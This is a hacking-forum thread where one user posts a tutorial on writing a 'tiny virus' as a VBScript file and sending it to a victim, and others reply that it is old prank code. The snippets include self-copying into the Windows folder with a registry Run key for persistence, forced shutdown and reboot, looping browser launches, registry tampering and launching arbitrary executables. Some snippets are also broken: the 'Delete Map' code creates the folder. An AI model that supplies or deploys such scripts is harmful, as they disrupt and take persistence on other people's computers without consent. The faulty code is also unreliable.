How make your own tiny virus using .vbs files

[mrs_]

Hi,

This is a little tutorial how to make a tiny harmless virus for amateur hackers who already know how to access into other peoples computer via Telnet or
Portscanner.

here's what you can do to make some tiny little troublesome virus:

1. Open Notepad

2. Paste some codes from here into the notepad ( for codes see below)

3.When You have paste all the codes that you like, you need to save the notepad as .vbs:


4. Now You Have a .vbs File , Send it to your victim and have fun!

Codes


Msgbox pop up
msgbox"message here "


Msgbox pop up with title
msgbox "message here",0,"title here"

QUeStIon + Answera=inputbox("Question ")
msgbox "Answer " +a+ " ..."


CD-Rom Open And Close
Set oWMP = CreateObject("WMPlayer.OCX.7")
Set colCDROMs = oWMP.cdromCollection
if colCDROMs.Count >= 1 then
For i = 0 to colCDROMs.Count - 1
colCDROMs.Item(i).Eject
Next
For i = 0 to colCDROMs.Count - 1
colCDROMs.Item(i).Eject
Next
End If

Looping box
do (title Script here) loop

Virus Startup when turn on pc

If Day(Now) = 5 And Month(Now) = 20 Then
msgbox "its now 20 mei"
End If
Set Shl = CreateObject("Wscript.Shell")
Set fso = CreateObject("Scripting.FileSystemObject")
winfolder = fso.GetSpecialFolder(0)
Set vbsfile = fso.GetFile(WScript.ScriptFullName)
vbsfile.Copy winfolder & "VIRUS NAME HERE.vbs"
Shl.RegWrite
"HKEY_LOCAL_MACHINE\Software\Microsoft\Windows\Cur rentVersion\Run\Start
menu",winfolder & "VIRUS NAME HERE.vbs"


Pauze in virus (1000 = 1sec)


Wscript.Sleep 1000


Change MSN Name! maybe dont work)
Set WshShell = CreateObject("Wscript.shell")
WshShell.Run ("msnmsgr.exe")
Wscript.Sleep 1200
WshShell.sendkeys "%x"
WshShell.sendkeys "O"
WshShell.sendkeys "(Msn Name..)"


Site open with loop:
Wscript.Sleep 40000
Do
Wscript.Sleep 20000
Set WshShell = WScript.CreateObject ("WScript.Shell")
WshShell.Run ("SITE HERE")
Loop

Make Map:

path = "C:\New"
set filesys=CreateObject("Scripting.FileSystemObject")
If Not filesys.FolderExists(path) Then
Set folder = filesys.CreateFolder(path)
End If

Delete Map:
path = "C:\New"
set filesys=CreateObject("Scripting.FileSystemObject")
If Not filesys.FolderExists(path) Then
Set folder = filesys.CreateFolder(path)
End If


StartMenu ComeUp Slower/Faster(1000 = 1 sec):

Set shl = CreateObject("Wscript.shell")
Shl.RegWrite "HKEY_CURRENT_USER\Control Panel\Desktop\MenuShowDelay", "10000"

CHange Name Of Trash a.k.a recycled bin (vicitm can see it and can choice the name):

Option Explicit
Dim WshShell, strRecycle, strOldName, strNewName, NL, RBn
Set WshShell = Wscript.CreateObject("WScript.Shell")
'Registry key to read for current name.
strRecycle = "HKCR\CLSID\{645FF040-5081" &_
"-101B-9F08-00AA002F954E}\"
'Read the Registry key and store the string value.
strOldName = WshShell.RegRead(strRecycle)
'Show the existing Recycle Bin name and prompt for new name.
NL = vbCRLF
strNewName = InputBox("Current name of Recyle Bin shown" &_
" below. " & NL & NL & "Enter a new name " &_
"and click OK", , strOldName)
'If new name was entered, write it to Registry key.
If strNewName <> "" Then
WshShell.RegWrite strRecycle, strNewName
End If
'Show results.
RBn = "Recycle Bin name "
If strNewName = "" or strNewName = StrOldName Then
WshShell.Popup RBn & "NOT changed.", , , 64
Else
WshShell.Popup RBn & "CHANGED to " & strNewName, , , 64
End If

Make Website as HomePage in your victim's computer:

Shl.RegWrite "HKEY_CURRENT_USER\Software\Microsoft\Internet Explorer\Main\Start Page",
SiteHere


PC Makes SOund[I like this one..xD]:

Set oWS = WScript.CreateObject("WScript.Shell")
oWS.Run "%comspec% /c echo " & Chr(07), 0, True


Windows force shutdown, Restart AND Log off commands:


Public Const LOGOFFUSER = 0
Public Const SHUTDOWNPC = 1
Public Const REBOOTPC = 2
Public Const FORCEREBOOT = 4
Declare Function ExitWindowsEx Lib "user32" Alias "ExitWindowsEx" (ByVal uFlags As Long, ByVal
dwReserved As Long) As Long

WIth 1 Of the codes

Computer shutdown:
ans& = ExitWindowsEx(SHUTDOWNPC, 0)

Computer restart:
ans& = ExitWindowsEx(REBOOTPC, 0)


log off:
ans& = ExitWindowsEx(LOGOFFUSER, 0)

Force SHutDown: (wel met risico voor andere bestanden!!)
ans& = ExitWindowsEx(FORCEREBOOT, 0)




Sendkeys:


Sendkeys "text here"
Sendkeys "{ENTER}"
(Now the program will type "text here")



Make New Map in DIR:path = "C:\New MAP (name)"
set filesys=CreateObject("Scripting.FileSystemObject")
If Not filesys.FolderExists(path) Then
Set folder = filesys.CreateFolder(path)
End If


Open a File/force file opener:
Set WshShell = WScript.CreateObject ("WScript.Shell") WshShell.Run ("Path Here, Example: C:/WIndows/Hack.exe")


Happy Hacking..^^

[Chad]

Nothing special about this. Commonly simple. I can do more damage with my toothbrush.
Anyway, nice tutorial. Thanks for contributing.

[NotNeccesary]

If your gonna use notepad, can't you just make a simple batch file that does the same thing?
Thanks for the contribution though, even though this site really isn't for serious blackhats lol

[Chad]

If your gonna use notepad, can't you just make a simple batch file that does the same thing?
Thanks for the contribution though, even though this site really isn't for serious blackhats lol

This isn't serious black hat stuff. This is just simple prank shit. .VBS scripts are windows 2000 and older shit. Real old stuff.

[NotNeccesary]

This isn't serious black hat stuff. This is just simple prank shit. .VBS scripts are windows 2000 and older shit. Real old stuff.

Didn't really read the code lol and ah. I did not know that.